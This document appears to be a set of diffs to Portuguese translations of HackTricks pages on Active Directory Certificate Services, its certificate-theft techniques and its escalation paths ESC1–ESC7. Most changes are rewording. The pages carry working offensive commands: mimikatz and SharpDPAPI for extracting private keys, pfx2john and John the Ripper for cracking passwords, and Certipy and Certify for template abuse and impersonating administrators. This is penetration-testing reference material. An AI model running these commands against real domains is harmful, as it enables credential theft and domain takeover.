src/windows-hardening/active-directory-methodology/ad-certificates.md

@@ -23,12 +23,12 @@
 
 ### Autoridades Certificadoras (CAs) no Active Directory (AD)
 
-O AD CS reconhece certificados de CA em uma floresta AD através de contêineres designados, cada um servindo papéis únicos:
+O AD CS reconhece certificados CA em uma floresta AD através de contêineres designados, cada um servindo a papéis únicos:
 
-- O contêiner **Certification Authorities** contém certificados de CA raiz confiáveis.
+- O contêiner **Certification Authorities** contém certificados CA raiz confiáveis.
 - O contêiner **Enrolment Services** detalha CAs Empresariais e seus modelos de certificado.
-- O objeto **NTAuthCertificates** inclui certificados de CA autorizados para autenticação AD.
-- O contêiner **AIA (Authority Information Access)** facilita a validação da cadeia de certificados com certificados de CA intermediários e cruzados.
+- O objeto **NTAuthCertificates** inclui certificados CA autorizados para autenticação AD.
+- O contêiner **AIA (Authority Information Access)** facilita a validação da cadeia de certificados com certificados CA intermediários e cruzados.
 
 ### Aquisição de Certificado: Fluxo de Solicitação de Certificado do Cliente
 
@@ -73,11 +73,11 @@ Os certificados podem ser solicitados através de:
 1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), usando interfaces DCOM.
 2. **ICertPassage Remote Protocol** (MS-ICPR), através de pipes nomeados ou TCP/IP.
 3. A **interface web de inscrição de certificados**, com o papel de Inscrição Web da Autoridade Certificadora instalado.
-4. O **Serviço de Inscrição de Certificado** (CES), em conjunto com o serviço de Política de Inscrição de Certificado (CEP).
-5. O **Serviço de Inscrição de Dispositivos de Rede** (NDES) para dispositivos de rede, usando o Protocolo Simples de Inscrição de Certificado (SCEP).
+4. O **Serviço de Inscrição de Certificados** (CES), em conjunto com o serviço de Política de Inscrição de Certificados (CEP).
+5. O **Serviço de Inscrição de Dispositivos de Rede** (NDES) para dispositivos de rede, usando o Protocolo Simples de Inscrição de Certificados (SCEP).
 
 Usuários do Windows também podem solicitar certificados via GUI (`certmgr.msc` ou `certlm.msc`) ou ferramentas de linha de comando (`certreq.exe` ou o comando `Get-Certificate` do PowerShell).
-```powershell
+```bash
 # Example of requesting a certificate using PowerShell
 Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
 ```
@@ -91,7 +91,7 @@ No processo de autenticação Kerberos, o pedido de um usuário para um Ticket G
 ```bash
 CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
 ```
-é central para estabelecer confiança para autenticação de certificados.
+é central para estabelecer confiança na autenticação de certificados.
 
 ### Autenticação de Canal Seguro (Schannel)
 

src/windows-hardening/active-directory-methodology/ad-certificates/README.md

@@ -19,7 +19,7 @@
 
 ### Considerações Especiais
 
-- **Subject Alternative Names (SANs)** expandem a aplicabilidade de um certificado para múltiplas identidades, crucial para servidores com múltiplos domínios. Processos de emissão seguros são vitais para evitar riscos de impersonação por atacantes que manipulam a especificação SAN.
+- **Subject Alternative Names (SANs)** expandem a aplicabilidade de um certificado para múltiplas identidades, crucial para servidores com múltiplos domínios. Processos de emissão seguros são vitais para evitar riscos de impersonação por atacantes manipulando a especificação SAN.
 
 ### Autoridades Certificadoras (CAs) no Active Directory (AD)
 
@@ -43,7 +43,7 @@ Definidos dentro do AD, esses modelos delineiam as configurações e permissões
 
 ## Inscrição de Certificado
 
-O processo de inscrição para certificados é iniciado por um administrador que **cria um modelo de certificado**, que é então **publicado** por uma Autoridade Certificadora Empresarial (CA). Isso torna o modelo disponível para a inscrição do cliente, um passo alcançado ao adicionar o nome do modelo ao campo `certificatetemplates` de um objeto do Active Directory.
+O processo de inscrição para certificados é iniciado por um administrador que **cria um modelo de certificado**, que é então **publicado** por uma Autoridade Certificadora Empresarial (CA). Isso torna o modelo disponível para a inscrição do cliente, um passo alcançado adicionando o nome do modelo ao campo `certificatetemplates` de um objeto do Active Directory.
 
 Para que um cliente solicite um certificado, **direitos de inscrição** devem ser concedidos. Esses direitos são definidos por descritores de segurança no modelo de certificado e na própria CA Empresarial. As permissões devem ser concedidas em ambos os locais para que uma solicitação seja bem-sucedida.
 
@@ -77,7 +77,7 @@ Os certificados podem ser solicitados através de:
 5. O **Serviço de Inscrição de Dispositivos de Rede** (NDES) para dispositivos de rede, usando o Protocolo Simples de Inscrição de Certificado (SCEP).
 
 Usuários do Windows também podem solicitar certificados via GUI (`certmgr.msc` ou `certlm.msc`) ou ferramentas de linha de comando (`certreq.exe` ou o comando `Get-Certificate` do PowerShell).
-```powershell
+```bash
 # Example of requesting a certificate using PowerShell
 Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
 ```
@@ -87,11 +87,11 @@ Active Directory (AD) suporta autenticação por certificado, utilizando princip
 
 ### Processo de Autenticação Kerberos
 
-No processo de autenticação Kerberos, o pedido de um usuário para um Ticket Granting Ticket (TGT) é assinado usando a **chave privada** do certificado do usuário. Este pedido passa por várias validações pelo controlador de domínio, incluindo a **validade**, **caminho** e **status de revogação** do certificado. As validações também incluem verificar se o certificado vem de uma fonte confiável e confirmar a presença do emissor no **NTAUTH certificate store**. Validações bem-sucedidas resultam na emissão de um TGT. O objeto **`NTAuthCertificates`** no AD, encontrado em:
+No processo de autenticação Kerberos, o pedido de um usuário para um Ticket Granting Ticket (TGT) é assinado usando a **chave privada** do certificado do usuário. Este pedido passa por várias validações pelo controlador de domínio, incluindo a **validade** do certificado, **caminho** e **status de revogação**. As validações também incluem verificar se o certificado vem de uma fonte confiável e confirmar a presença do emissor no **NTAUTH certificate store**. Validações bem-sucedidas resultam na emissão de um TGT. O objeto **`NTAuthCertificates`** no AD, encontrado em:
 ```bash
 CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
 ```
-é central para estabelecer confiança para autenticação de certificados.
+é central para estabelecer confiança na autenticação de certificados.
 
 ### Autenticação de Canal Seguro (Schannel)
 

src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md

@@ -7,7 +7,7 @@
 ## O que posso fazer com um certificado
 
 Antes de verificar como roubar os certificados, aqui você tem algumas informações sobre como descobrir para que o certificado é útil:
-```powershell
+```bash
 # Powershell
 $CertPath = "C:\path\to\cert.pfx"
 $CertPass = "P@ssw0rd"
@@ -20,7 +20,7 @@ certutil.exe -dump -v cert.pfx
 ```
 ## Exportando Certificados Usando as APIs Crypto – THEFT1
 
-Em uma **sessão de desktop interativa**, extrair um certificado de usuário ou máquina, junto com a chave privada, pode ser feito facilmente, particularmente se a **chave privada for exportável**. Isso pode ser alcançado navegando até o certificado em `certmgr.msc`, clicando com o botão direito sobre ele e selecionando `All Tasks → Export` para gerar um arquivo .pfx protegido por senha.
+Em uma **sessão de desktop interativa**, extrair um certificado de usuário ou máquina, junto com a chave privada, pode ser feito facilmente, especialmente se a **chave privada for exportável**. Isso pode ser alcançado navegando até o certificado em `certmgr.msc`, clicando com o botão direito sobre ele e selecionando `All Tasks → Export` para gerar um arquivo .pfx protegido por senha.
 
 Para uma **abordagem programática**, ferramentas como o cmdlet PowerShell `ExportPfxCertificate` ou projetos como [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer) estão disponíveis. Estas utilizam a **Microsoft CryptoAPI** (CAPI) ou a Cryptography API: Next Generation (CNG) para interagir com o armazenamento de certificados. Essas APIs fornecem uma gama de serviços criptográficos, incluindo aqueles necessários para armazenamento e autenticação de certificados.
 
@@ -36,15 +36,15 @@ Mais informações sobre DPAPI em:
 
 No Windows, **as chaves privadas de certificados são protegidas pelo DPAPI**. É crucial reconhecer que os **locais de armazenamento para chaves privadas de usuário e máquina** são distintos, e as estruturas de arquivos variam dependendo da API criptográfica utilizada pelo sistema operacional. **SharpDPAPI** é uma ferramenta que pode navegar automaticamente por essas diferenças ao descriptografar os blobs do DPAPI.
 
-**Certificados de usuário** são predominantemente armazenados no registro sob `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, mas alguns também podem ser encontrados no diretório `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. As correspondentes **chaves privadas** para esses certificados são tipicamente armazenadas em `%APPDATA%\Microsoft\Crypto\RSA\User SID\` para chaves **CAPI** e `%APPDATA%\Microsoft\Crypto\Keys\` para chaves **CNG**.
+**Certificados de usuário** estão predominantemente armazenados no registro sob `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, mas alguns também podem ser encontrados no diretório `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. As correspondentes **chaves privadas** para esses certificados são tipicamente armazenadas em `%APPDATA%\Microsoft\Crypto\RSA\User SID\` para chaves **CAPI** e `%APPDATA%\Microsoft\Crypto\Keys\` para chaves **CNG**.
 
 Para **extrair um certificado e sua chave privada associada**, o processo envolve:
 
 1. **Selecionar o certificado alvo** do armazenamento do usuário e recuperar seu nome de armazenamento de chave.
 2. **Localizar a masterkey DPAPI necessária** para descriptografar a chave privada correspondente.
-3. **Descriptografar a chave privada** utilizando a masterkey DPAPI em texto simples.
+3. **Descriptografar a chave privada** utilizando a masterkey DPAPI em texto claro.
 
-Para **adquirir a masterkey DPAPI em texto simples**, as seguintes abordagens podem ser usadas:
+Para **adquirir a masterkey DPAPI em texto claro**, as seguintes abordagens podem ser usadas:
 ```bash
 # With mimikatz, when running in the user's context
 dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc
@@ -52,7 +52,7 @@ dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc
 # With mimikatz, if the user's password is known
 dpapi::masterkey /in:"C:\PATH\TO\KEY" /sid:accountSid /password:PASS
 ```
-Para simplificar a descriptografia de arquivos masterkey e arquivos de chave privada, o comando `certificates` do [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) é benéfico. Ele aceita `/pvk`, `/mkfile`, `/password` ou `{GUID}:KEY` como argumentos para descriptografar as chaves privadas e os certificados vinculados, gerando posteriormente um arquivo `.pem`.
+Para simplificar a descriptografia de arquivos masterkey e arquivos de chave privada, o comando `certificates` do [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) se mostra benéfico. Ele aceita `/pvk`, `/mkfile`, `/password` ou `{GUID}:KEY` como argumentos para descriptografar as chaves privadas e os certificados vinculados, gerando posteriormente um arquivo `.pem`.
 ```bash
 # Decrypting using SharpDPAPI
 SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt
@@ -60,10 +60,27 @@ SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt
 # Converting .pem to .pfx
 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
 ```
-## Roubo de Certificados de Máquina via DPAPI – THEFT3
+## Roubo de Certificado de Máquina via DPAPI – THEFT3
 
-Os certificados de máquina armazenados pelo Windows no registro em `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` e as chaves privadas associadas localizadas em `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (para CAPI) e `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (para CNG) são criptografados usando as chaves mest
-```powershell
+Os certificados de máquina armazenados pelo Windows no registro em `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` e as chaves privadas associadas localizadas em `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (para CAPI) e `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (para CNG) são criptografados usando as chaves mestres DPAPI da máquina. Essas chaves não podem ser descriptografadas com a chave de backup DPAPI do domínio; em vez disso, o **segredo LSA DPAPI_SYSTEM**, que apenas o usuário SYSTEM pode acessar, é necessário.
+
+A descriptografia manual pode ser realizada executando o comando `lsadump::secrets` no **Mimikatz** para extrair o segredo LSA DPAPI_SYSTEM e, em seguida, usando essa chave para descriptografar as chaves mestres da máquina. Alternativamente, o comando `crypto::certificates /export /systemstore:LOCAL_MACHINE` do Mimikatz pode ser usado após a correção do CAPI/CNG, conforme descrito anteriormente.
+
+**SharpDPAPI** oferece uma abordagem mais automatizada com seu comando de certificados. Quando a flag `/machine` é usada com permissões elevadas, ela se eleva para SYSTEM, despeja o segredo LSA DPAPI_SYSTEM, usa-o para descriptografar as chaves mestres DPAPI da máquina e, em seguida, emprega essas chaves em texto claro como uma tabela de consulta para descriptografar quaisquer chaves privadas de certificados de máquina.
+
+## Encontrando Arquivos de Certificado – THEFT4
+
+Os certificados às vezes são encontrados diretamente no sistema de arquivos, como em compartilhamentos de arquivos ou na pasta Downloads. Os tipos de arquivos de certificado mais comumente encontrados direcionados a ambientes Windows são arquivos `.pfx` e `.p12`. Embora menos frequentemente, arquivos com extensões `.pkcs12` e `.pem` também aparecem. Outras extensões de arquivo relacionadas a certificados que merecem destaque incluem:
+
+- `.key` para chaves privadas,
+- `.crt`/`.cer` para certificados apenas,
+- `.csr` para Solicitações de Assinatura de Certificado, que não contêm certificados ou chaves privadas,
+- `.jks`/`.keystore`/`.keys` para Java Keystores, que podem conter certificados junto com chaves privadas utilizadas por aplicações Java.
+
+Esses arquivos podem ser pesquisados usando PowerShell ou o prompt de comando, procurando pelas extensões mencionadas.
+
+Nos casos em que um arquivo de certificado PKCS#12 é encontrado e está protegido por uma senha, a extração de um hash é possível através do uso de `pfx2john.py`, disponível em [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html). Subsequentemente, o JohnTheRipper pode ser empregado para tentar quebrar a senha.
+```bash
 # Example command to search for certificate files in PowerShell
 Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys
 
@@ -73,18 +90,20 @@ pfx2john.py certificate.pfx > hash.txt
 # Command to crack the hash with JohnTheRipper
 john --wordlist=passwords.txt hash.txt
 ```
-## NTLM Credential Theft via PKINIT – THEFT5
+## NTLM Credential Theft via PKINIT – THEFT5 (UnPAC the hash)
 
-O conteúdo dado explica um método para roubo de credenciais NTLM via PKINIT, especificamente através do método de roubo rotulado como THEFT5. Aqui está uma reexplicação na voz passiva, com o conteúdo anonimizado e resumido onde aplicável:
+O conteúdo dado explica um método para roubo de credenciais NTLM via PKINIT, especificamente através do método de roubo rotulado como THEFT5. Aqui está uma reexplicação em voz passiva, com o conteúdo anonimizado e resumido onde aplicável:
 
-Para suportar a autenticação NTLM [MS-NLMP] para aplicações que não facilitam a autenticação Kerberos, o KDC é projetado para retornar a função unidirecional (OWF) NTLM do usuário dentro do certificado de atributo de privilégio (PAC), especificamente no buffer `PAC_CREDENTIAL_INFO`, quando o PKCA é utilizado. Consequentemente, se uma conta autenticar e garantir um Ticket-Granting Ticket (TGT) via PKINIT, um mecanismo é inerentemente fornecido que permite ao host atual extrair o hash NTLM do TGT para manter os protocolos de autenticação legados. Este processo envolve a descriptografia da estrutura `PAC_CREDENTIAL_DATA`, que é essencialmente uma representação NDR serializada do texto plano NTLM.
+Para suportar a autenticação NTLM `MS-NLMP` para aplicações que não facilitam a autenticação Kerberos, o KDC é projetado para retornar a função unidirecional (OWF) NTLM do usuário dentro do certificado de atributo de privilégio (PAC), especificamente no buffer `PAC_CREDENTIAL_INFO`, quando o PKCA é utilizado. Consequentemente, se uma conta autenticar e garantir um Ticket-Granting Ticket (TGT) via PKINIT, um mecanismo é inerentemente fornecido que permite ao host atual extrair o hash NTLM do TGT para manter os protocolos de autenticação legados. Este processo envolve a descriptografia da estrutura `PAC_CREDENTIAL_DATA`, que é essencialmente uma representação NDR serializada do texto plano NTLM.
 
 A utilidade **Kekeo**, acessível em [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo), é mencionada como capaz de solicitar um TGT contendo esses dados específicos, facilitando assim a recuperação do NTLM do usuário. O comando utilizado para esse propósito é o seguinte:
 ```bash
 tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local
 ```
+**`Rubeus`** também pode obter essas informações com a opção **`asktgt [...] /getcredentials`**.
+
 Além disso, observa-se que o Kekeo pode processar certificados protegidos por smartcard, desde que o pin possa ser recuperado, com referência a [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). A mesma capacidade é indicada como suportada pelo **Rubeus**, disponível em [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus).
 
-Esta explicação encapsula o processo e as ferramentas envolvidas na roubo de credenciais NTLM via PKINIT, focando na recuperação de hashes NTLM através do TGT obtido usando PKINIT, e as utilidades que facilitam esse processo.
+Esta explicação encapsula o processo e as ferramentas envolvidas no roubo de credenciais NTLM via PKINIT, focando na recuperação de hashes NTLM através do TGT obtido usando PKINIT, e as utilidades que facilitam esse processo.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

@@ -14,7 +14,7 @@
 
 ### Modelos de Certificado Mal Configurados - ESC1 Explicado
 
-- **Os direitos de inscrição são concedidos a usuários com baixos privilégios pela CA Empresarial.**
+- **Direitos de inscrição são concedidos a usuários com baixos privilégios pela CA Empresarial.**
 - **A aprovação do gerente não é necessária.**
 - **Nenhuma assinatura de pessoal autorizado é necessária.**
 - **Os descritores de segurança nos modelos de certificado são excessivamente permissivos, permitindo que usuários com baixos privilégios obtenham direitos de inscrição.**
@@ -28,7 +28,7 @@
 
 Esse recurso é às vezes habilitado para suportar a geração sob demanda de certificados HTTPS ou de host por produtos ou serviços de implantação, ou devido à falta de entendimento.
 
-Observa-se que criar um certificado com essa opção aciona um aviso, o que não acontece quando um modelo de certificado existente (como o modelo `WebServer`, que tem `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitado) é duplicado e depois modificado para incluir um OID de autenticação.
+Observa-se que criar um certificado com esta opção aciona um aviso, o que não acontece quando um modelo de certificado existente (como o modelo `WebServer`, que tem `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitado) é duplicado e, em seguida, modificado para incluir um OID de autenticação.
 
 ### Abuso
 
@@ -49,7 +49,7 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo
 ```
 Os binários do Windows "Certreq.exe" e "Certutil.exe" podem ser usados para gerar o PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
 
-A enumeração de modelos de certificado dentro do esquema de configuração da floresta AD, especificamente aqueles que não necessitam de aprovação ou assinaturas, que possuem um EKU de Autenticação de Cliente ou Logon com Cartão Inteligente, e com a flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitada, pode ser realizada executando a seguinte consulta LDAP:
+A enumeração de modelos de certificado dentro do esquema de configuração da floresta AD, especificamente aqueles que não necessitam de aprovação ou assinaturas, que possuem um EKU de Autenticação de Cliente ou Logon de Cartão Inteligente, e com a flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitada, pode ser realizada executando a seguinte consulta LDAP:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
 ```
@@ -117,11 +117,11 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
 # Use Rubeus with the certificate to authenticate as the other user
 Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
 ```
-Os **usuários** que estão autorizados a **obter** um **certificado de agente de inscrição**, os modelos nos quais os **agentes** de inscrição estão autorizados a se inscrever e as **contas** em nome das quais o agente de inscrição pode agir podem ser restringidos por CAs empresariais. Isso é alcançado abrindo o `certsrc.msc` **snap-in**, **clicando com o botão direito na CA**, **clicando em Propriedades** e, em seguida, **navegando** até a aba “Agentes de Inscrição”.
+Os **usuários** que têm permissão para **obter** um **certificado de agente de inscrição**, os modelos nos quais os **agentes** de inscrição estão autorizados a se inscrever e as **contas** em nome das quais o agente de inscrição pode agir podem ser restritos por CAs empresariais. Isso é alcançado abrindo o `certsrc.msc` **snap-in**, **clicando com o botão direito no CA**, **clicando em Propriedades** e, em seguida, **navegando** até a aba “Agentes de Inscrição”.
 
 No entanto, observa-se que a configuração **padrão** para CAs é “**Não restringir agentes de inscrição**.” Quando a restrição sobre agentes de inscrição é habilitada pelos administradores, configurá-la para “Restringir agentes de inscrição”, a configuração padrão permanece extremamente permissiva. Ela permite que **Todos** tenham acesso para se inscrever em todos os modelos como qualquer um.
 
-## Controle de Acesso a Modelos de Certificado Vulneráveis - ESC4
+## Controle de Acesso ao Modelo de Certificado Vulnerável - ESC4
 
 ### **Explicação**
 
@@ -139,7 +139,7 @@ As permissões notáveis aplicáveis aos modelos de certificado incluem:
 
 ### Abuso
 
-Um exemplo de uma escalada de privilégios como a anterior:
+Um exemplo de um privesc como o anterior:
 
 <figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
 
@@ -149,7 +149,7 @@ Como podemos ver no caminho acima, apenas `JOHNPC` possui esses privilégios, ma
 ```bash
 certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
 ```
-**Certipy** pode sobrescrever a configuração de um modelo de certificado com um único comando. Por **padrão**, o Certipy irá **sobrescrever** a configuração para torná-la **vulnerável ao ESC1**. Também podemos especificar o **`-save-old` parâmetro para salvar a configuração antiga**, o que será útil para **restaurar** a configuração após nosso ataque.
+**Certipy** pode sobrescrever a configuração de um modelo de certificado com um único comando. Por **padrão**, o Certipy irá **sobrescrever** a configuração para torná-la **vulnerável ao ESC1**. Também podemos especificar o **parâmetro `-save-old` para salvar a configuração antiga**, o que será útil para **restaurar** a configuração após nosso ataque.
 ```bash
 # Make template vuln to ESC1
 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@@ -164,7 +164,7 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
 
 ### Explicação
 
-A extensa rede de relacionamentos baseados em ACL interconectados, que inclui vários objetos além dos modelos de certificado e da autoridade certificadora, pode impactar a segurança de todo o sistema AD CS. Esses objetos, que podem afetar significativamente a segurança, incluem:
+A extensa rede de relacionamentos interconectados baseados em ACL, que inclui vários objetos além dos modelos de certificado e da autoridade certificadora, pode impactar a segurança de todo o sistema AD CS. Esses objetos, que podem afetar significativamente a segurança, incluem:
 
 - O objeto de computador AD do servidor CA, que pode ser comprometido por meio de mecanismos como S4U2Self ou S4U2Proxy.
 - O servidor RPC/DCOM do servidor CA.
@@ -176,7 +176,7 @@ A segurança do sistema PKI pode ser comprometida se um atacante com privilégio
 
 ### Explicação
 
-O assunto discutido na [**postagem da CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) também aborda as implicações da flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, conforme descrito pela Microsoft. Esta configuração, quando ativada em uma Autoridade Certificadora (CA), permite a inclusão de **valores definidos pelo usuário** no **nome alternativo do sujeito** para **qualquer solicitação**, incluindo aquelas construídas a partir do Active Directory®. Consequentemente, essa disposição permite que um **intruso** se inscreva através de **qualquer modelo** configurado para **autenticação** de domínio—especificamente aqueles abertos à inscrição de usuários **não privilegiados**, como o modelo padrão de Usuário. Como resultado, um certificado pode ser obtido, permitindo que o intruso se autentique como um administrador de domínio ou **qualquer outra entidade ativa** dentro do domínio.
+O assunto discutido na [**postagem da CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) também aborda as implicações da flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, conforme descrito pela Microsoft. Esta configuração, quando ativada em uma Autoridade Certificadora (CA), permite a inclusão de **valores definidos pelo usuário** no **nome alternativo do sujeito** para **qualquer solicitação**, incluindo aquelas construídas a partir do Active Directory®. Consequentemente, essa disposição permite que um **intruso** se inscreva através de **qualquer modelo** configurado para **autenticação** de domínio—especificamente aqueles abertos para inscrição de usuários **não privilegiados**, como o modelo padrão de Usuário. Como resultado, um certificado pode ser obtido, permitindo que o intruso se autentique como um administrador de domínio ou **qualquer outra entidade ativa** dentro do domínio.
 
 **Nota**: A abordagem para adicionar **nomes alternativos** em uma Solicitação de Assinatura de Certificado (CSR), através do argumento `-attrib "SAN:"` no `certreq.exe` (referido como “Name Value Pairs”), apresenta um **contraste** com a estratégia de exploração de SANs em ESC1. Aqui, a distinção reside em **como as informações da conta são encapsuladas**—dentro de um atributo de certificado, em vez de uma extensão.
 
@@ -186,7 +186,7 @@ Para verificar se a configuração está ativada, as organizações podem utiliz
 ```bash
 certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
 ```
-Esta operação emprega essencialmente **acesso remoto ao registro**, portanto, uma abordagem alternativa pode ser:
+Esta operação essencialmente emprega **acesso remoto ao registro**, portanto, uma abordagem alternativa pode ser:
 ```bash
 reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
 ```
@@ -203,7 +203,7 @@ Para alterar essas configurações, assumindo que se possui direitos **administr
 ```bash
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
-Para desativar essa configuração em seu ambiente, a flag pode ser removida com:
+Para desabilitar essa configuração em seu ambiente, a flag pode ser removida com:
 ```bash
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
@@ -229,10 +229,10 @@ Ter direitos de **`ManageCA`** em uma autoridade de certificação permite que o
 
 A simplificação desse processo é alcançável através do uso do cmdlet **Enable-PolicyModuleFlag** do PSPKI, permitindo modificações sem interação direta com a GUI.
 
-A posse de direitos de **`ManageCertificates`** facilita a aprovação de solicitações pendentes, contornando efetivamente a salvaguarda de "aprovação do gerente de certificado da CA".
+A posse de direitos de **`ManageCertificates`** facilita a aprovação de solicitações pendentes, contornando efetivamente a salvaguarda de "aprovação do gerente de certificados da CA".
 
 Uma combinação dos módulos **Certify** e **PSPKI** pode ser utilizada para solicitar, aprovar e baixar um certificado:
-```powershell
+```bash
 # Request a certificate that will require an approval
 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
 [...]
@@ -252,7 +252,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
 #### Explicação
 
 > [!WARNING]
-> No **ataque anterior**, as permissões **`Manage CA`** foram usadas para **ativar** a flag **EDITF_ATTRIBUTESUBJECTALTNAME2** para realizar o **ataque ESC6**, mas isso não terá nenhum efeito até que o serviço CA (`CertSvc`) seja reiniciado. Quando um usuário tem o direito de acesso **Manage CA**, o usuário também pode **reiniciar o serviço**. No entanto, isso **não significa que o usuário pode reiniciar o serviço remotamente**. Além disso, o **ESC6 pode não funcionar imediatamente** na maioria dos ambientes corrigidos devido às atualizações de segurança de maio de 2022.
+> No **ataque anterior**, as permissões **`Manage CA`** foram usadas para **habilitar** a flag **EDITF_ATTRIBUTESUBJECTALTNAME2** para realizar o **ataque ESC6**, mas isso não terá efeito até que o serviço CA (`CertSvc`) seja reiniciado. Quando um usuário tem o direito de acesso **`Manage CA`**, o usuário também pode **reiniciar o serviço**. No entanto, isso **não significa que o usuário pode reiniciar o serviço remotamente**. Além disso, o **ESC6 pode não funcionar imediatamente** na maioria dos ambientes corrigidos devido às atualizações de segurança de maio de 2022.
 
 Portanto, outro ataque é apresentado aqui.
 
@@ -260,7 +260,7 @@ Pré-requisitos:
 
 - Apenas permissão **`ManageCA`**
 - Permissão **`Manage Certificates`** (pode ser concedida a partir de **`ManageCA`**)
-- O modelo de certificado **`SubCA`** deve estar **ativado** (pode ser ativado a partir de **`ManageCA`**)
+- O modelo de certificado **`SubCA`** deve estar **habilitado** (pode ser habilitado a partir de **`ManageCA`**)
 
 A técnica se baseia no fato de que usuários com o direito de acesso **`Manage CA`** _e_ **`Manage Certificates`** podem **emitir solicitações de certificado falhadas**. O modelo de certificado **`SubCA`** é **vulnerável ao ESC1**, mas **apenas administradores** podem se inscrever no modelo. Assim, um **usuário** pode **solicitar** a inscrição no **`SubCA`** - que será **negada** - mas **depois emitida pelo gerente**.
 
@@ -273,7 +273,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully added officer 'John' on 'corp-DC-CA'
 ```
-O template **`SubCA`** pode ser **ativado na CA** com o parâmetro `-enable-template`. Por padrão, o template `SubCA` está ativado.
+O **`SubCA`** template pode ser **ativado na CA** com o parâmetro `-enable-template`. Por padrão, o template `SubCA` está ativado.
 ```bash
 # List templates
 certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@@ -285,7 +285,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully enabled 'SubCA' on 'corp-DC-CA'
 ```
-Se tivermos cumprido os pré-requisitos para este ataque, podemos começar **solicitando um certificado com base no modelo `SubCA`**.
+Se tivermos cumprido os pré-requisitos para este ataque, podemos começar **solicitando um certificado com base no template `SubCA`**.
 
 **Esta solicitação será negada**, mas salvaremos a chave privada e anotaremos o ID da solicitação.
 ```bash
@@ -323,16 +323,16 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 ### Explicação
 
 > [!NOTE]
